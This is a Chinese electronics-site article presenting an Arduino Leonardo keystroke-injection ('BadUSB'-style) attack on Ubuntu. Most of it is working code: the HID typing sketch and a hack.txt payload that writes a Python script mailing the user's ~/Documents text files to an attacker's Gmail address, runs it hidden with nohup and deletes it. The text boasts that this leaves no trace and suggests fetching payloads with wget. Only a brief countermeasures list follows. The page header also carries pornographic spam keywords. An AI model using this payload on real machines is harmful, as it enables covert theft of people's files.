chinese直男口爆体育生外卖, 99久久er热在这里只有精品99, 又色又爽又黄18禁美女裸身无遮挡, gogogo高清免费观看日本电视,私密按摩师高清版在线,人妻视频毛茸茸,91论坛 兴趣闲谈,欧美 亚洲 精品 8区,国产精品久久久久精品免费

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Arduino鍵盤漏洞演示及解決辦法

454398 ? 來源:工程師吳畏 ? 2019-08-07 09:02 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB讀卡器

3。SD

4。按鈕(VCC,地面和信號(hào)

5??缃与娎|

6。 micro USB轉(zhuǎn)USB電纜

步驟2:構(gòu)建設(shè)備

之前構(gòu)建指令讓我們回顧一下工作原理

Arduino leonardo可以像人機(jī)界面設(shè)備(HID)一樣運(yùn)行,因此可以模擬鼠標(biāo)和鍵盤。我們將使用此功能打開終端(在UBUNTU linux中)并編寫一個(gè)小腳本,該腳本將訪問用戶主文件夾中的/Documents文件夾復(fù)制.txt文件并將其通過電子郵件發(fā)送給某人。如果您想了解更多詳細(xì)信息,請(qǐng)查看下一步。

因?yàn)樗且粋€(gè)演示設(shè)備,所以事情非常簡(jiǎn)單,我們不會(huì)焊接任何東西。

構(gòu)建說明

1。組裝組件:

*插入arduino中的micro USB線

*將鑰匙開關(guān)連接到arduino(接地,vcc和out模塊)至D8)

*將讀卡器連接到arduino(使用ICSP標(biāo)頭)。 Arduino leonardo沒有將ICSP接頭連接到數(shù)字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數(shù)字引腳10

2. 獲取arduino代碼 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。將代碼上傳到arduino ,請(qǐng)務(wù)必選擇9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您從上面克隆了github repo,復(fù)制卡上的hack.txt文件,如果不是,則下面列出了該文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘a(chǎn)pplication’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘a(chǎn)ttachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下內(nèi)容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替換為您的電子郵件地址

7。 取出卡并將其插入arduino讀卡器

步驟3:如何在細(xì)節(jié)中工作

攻擊如何工作:

1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡。卡上將顯示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。

該文件可以包含原始文本,它將按原樣傳遞給鍵盤。

它還可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放

您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..

2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤上的鍵。文件“hack.txt”包含執(zhí)行以下操作的鍵組合(對(duì)于UBUNTU linux):

a。打開一個(gè)終端(CTRL + ALT + T)

b。使用vi打開一個(gè)用于創(chuàng)建的python文件(寫入“vi hack.py”

c。寫入一個(gè)python腳本,收集文檔主文件夾中的所有文本文件,并將它們發(fā)送到指定的gmail地址

d。在后臺(tái)運(yùn)行文件(“nohup python hack.py&”)

e。刪除文件(rm -rf hack.py)

f。關(guān)閉終端(ALT + F4)

整個(gè)過程會(huì)在幾秒鐘內(nèi)完成并且不會(huì)留下痕跡。

增強(qiáng)功能和故障排除

*你可能會(huì)注意到,在我打開一個(gè)終端后,我正在編寫python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py

*我們也可以為目標(biāo)操作系統(tǒng)下載或運(yùn)行現(xiàn)成的漏洞利用

* wifi可以添加到模塊中,黑客可以通過WIFI上傳

*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代碼(使其更?。?/p>

限制

1。由于模擬設(shè)備(鍵盤和鼠標(biāo))沒有任何反饋,我們不知道發(fā)出命令后會(huì)發(fā)生什么,這意味著我們需要使用延遲。例如我發(fā)出一個(gè)打開終端的命令,但我不知道它什么時(shí)候會(huì)打開,所以我需要指定一個(gè)任意的延遲來確保輸入的字符不會(huì)丟失。

2。我們可能會(huì)遇到許可問題,例如無(wú)法訪問USB端口或安裝某些內(nèi)容的權(quán)限

3。打字速度對(duì)leonardo而言并不是那么好

4。僅適用于目標(biāo)操作系統(tǒng)(在我們的案例中為UBUNTU linux)

在下一步中將嘗試找到利用此限制的方法來防止我們的計(jì)算機(jī)被黑客入侵

第4步:對(duì)策

1。禁用USB端口

2。白名單USB設(shè)備:

3。不要以root身份登錄(需要密碼才能安裝任何東西)

4。讓自己保持最新(自動(dòng)更新)

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    205

    瀏覽量

    15921
  • Arduino
    +關(guān)注

    關(guān)注

    190

    文章

    6523

    瀏覽量

    196468
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    分析嵌入式軟件代碼的漏洞-代碼注入

    驗(yàn)證數(shù)據(jù)是否良好。 為避免格式字符串的漏洞,這些規(guī)則中的第一個(gè)是最合適的; 你可以編寫代碼如下: printf(“%s”,str); 這樣,str的內(nèi)容只被視為數(shù)據(jù)。這是最不費(fèi)腦子的辦法,只要你能
    發(fā)表于 12-22 12:53

    openocd failed with code (1)的一種解決辦法

    我們發(fā)現(xiàn)此錯(cuò)誤是由于配置中默認(rèn)文件路徑有誤導(dǎo)致的,在默認(rèn)模板中,elf文件的路徑中使用的是“/”,而windows系統(tǒng)默認(rèn)文件路徑是“”,所以導(dǎo)致elf文件無(wú)法識(shí)別而無(wú)法下載。 解決辦法一是手動(dòng)修改
    發(fā)表于 10-27 08:21

    VCS安裝教程及常見問題和解決辦法

    解決辦法。 二、問題提出及相應(yīng)解決辦法 1、license文件過期問題 大家在網(wǎng)上看到的VCS安裝教程中,都會(huì)附上license文件,并且告訴你如何獲取Host Name等信息。 但有時(shí)獲取
    發(fā)表于 10-27 07:58

    時(shí)序約束問題的解決辦法

    slack 計(jì)算如下圖所示: 所以 slakc 為負(fù)數(shù)時(shí),說明路徑的組合邏輯延時(shí)過長(zhǎng)。解決辦法有兩個(gè):第一個(gè)是降低時(shí)鐘頻率,第二個(gè)是將延時(shí)過長(zhǎng)的組合邏輯拆成兩個(gè)或者多個(gè)時(shí)鐘周期執(zhí)行。 無(wú)論 Setup
    發(fā)表于 10-24 09:55

    單向閥氣密性檢測(cè)儀常見故障及解決辦法

    單向閥氣密性檢測(cè)儀在工業(yè)生產(chǎn)中起著至關(guān)重要的作用,然而在使用過程中難免會(huì)出現(xiàn)一些故障。了解常見故障及其解決辦法,能有效提高設(shè)備的使用效率和檢測(cè)準(zhǔn)確性。一、檢測(cè)結(jié)果不準(zhǔn)確故障表現(xiàn)檢測(cè)數(shù)據(jù)波動(dòng)
    的頭像 發(fā)表于 06-30 14:01 ?503次閱讀
    單向閥氣密性檢測(cè)儀常見故障及<b class='flag-5'>解決辦法</b>

    熱電偶隔離器溫度誤差的原因和解決辦法

    熱電偶隔離器溫度誤差的原因有多種,以下是對(duì)這些原因及相應(yīng)解決辦法的詳細(xì)分析: 一、溫度誤差原因 1. 接線錯(cuò)誤: ? ? 熱電偶輸入的正負(fù)極如果接線錯(cuò)誤,會(huì)導(dǎo)致現(xiàn)場(chǎng)輸出溫度有很大的誤差。 2. 導(dǎo)線
    的頭像 發(fā)表于 04-17 15:58 ?1522次閱讀
    熱電偶隔離器溫度誤差的原因和<b class='flag-5'>解決辦法</b>

    錫膏印刷機(jī)總出問題?老工程師總結(jié) 7 大常見問題及解決辦法

    本文分享錫膏印刷機(jī)常見 7 大不良及解決辦法:高頻問題包括塌陷(壓力 / 黏度 / 錫粉)、偏位(PCB 固定 / 鋼網(wǎng)精度)、漏?。ㄋ俣?/ 黏度 / 開孔)、凹陷(壓力 / 清潔),補(bǔ)充橋連
    的頭像 發(fā)表于 04-15 08:51 ?1553次閱讀
    錫膏印刷機(jī)總出問題?老工程師總結(jié) 7 大常見問題及<b class='flag-5'>解決辦法</b>

    存儲(chǔ)示波器的觸發(fā)問題及解決辦法

    、解決辦法與操作指南1. 無(wú)法觸發(fā) 檢查觸發(fā)閾值: 調(diào)整閾值至信號(hào)幅度的50%-70%(例如,信號(hào)幅度為2V,則設(shè)置閾值為1V)。 選擇匹配的觸發(fā)模式: 簡(jiǎn)單信號(hào)用邊沿觸發(fā);復(fù)雜信號(hào)用脈寬觸發(fā)或邏輯
    發(fā)表于 04-09 14:39

    GPS北斗定位模塊問題及解決辦法

    GPS北斗定位模塊使用上大多需要配置和設(shè)置下的,因此出現(xiàn)應(yīng)用方面的問題也是可以理解的。以下是常見的問題及其解決辦法: 一、搜不到信號(hào) 問題描述: 在家或個(gè)別位置無(wú)法接收到GPS或北斗定位模塊的信號(hào)
    的頭像 發(fā)表于 03-30 07:37 ?2951次閱讀

    NA611系列WiFi串口服務(wù)器常見問題以及解決辦法

    802.11 a/b/g/n 標(biāo)準(zhǔn)。WiFi串口服務(wù)器在連接、配置和使用過程中可能會(huì)遇到多種問題。以下是一些常見問題及其解決辦法
    的頭像 發(fā)表于 03-17 11:25 ?789次閱讀

    絕對(duì)值編碼器位置丟失是什么原因?有什么解決辦法

    絕對(duì)值編碼器位置丟失可能由多種原因引起,以下是一些常見原因及相應(yīng)的解決辦法: 一、原因分析 1. 電源干擾: ? ?● 錯(cuò)誤的電壓、電流或突然斷電可能會(huì)影響編碼器的讀數(shù),導(dǎo)致位置丟失
    的頭像 發(fā)表于 03-16 17:17 ?3696次閱讀

    PLC異常工作的原因和解決辦法

    PLC(可編程邏輯控制器)異常工作的原因及解決辦法。
    的頭像 發(fā)表于 02-24 17:27 ?2171次閱讀

    功放變壓器嗡嗡聲解決辦法有哪些?

    變壓器嗡嗡聲的解決辦法,希望能幫助大家更好地維護(hù)和使用功放設(shè)備。 1. 解決電磁干擾 ? ?● 電磁干擾是功放變壓器嗡嗡聲的一個(gè)常見原因。由于電源的漏磁,可能產(chǎn)生電力變壓器干擾和雜散電磁波干擾。為了解決這個(gè)問題,可以
    的頭像 發(fā)表于 02-24 11:11 ?4440次閱讀

    激光位移傳感器常見故障及解決辦法

    激光位移傳感器作為一種高精度的測(cè)量設(shè)備,在使用過程中可能會(huì)遇到各種故障。以下是一些常見故障及其解決辦法: 一、激光不出光 電源問題 : 檢查傳感器的電源供應(yīng)是否正常,確保電源電壓符合傳感器的要求,且
    的頭像 發(fā)表于 02-13 17:18 ?2810次閱讀

    Profinet IO通信故障原因及解決辦法

    通信故障時(shí)有發(fā)生,影響生產(chǎn)效率和系統(tǒng)穩(wěn)定性。本文將深入探討Profinet IO通信故障的常見原因,并提出詳細(xì)的解決辦法,以幫助技術(shù)人員快速定位和解決問題。
    的頭像 發(fā)表于 02-03 14:50 ?3550次閱讀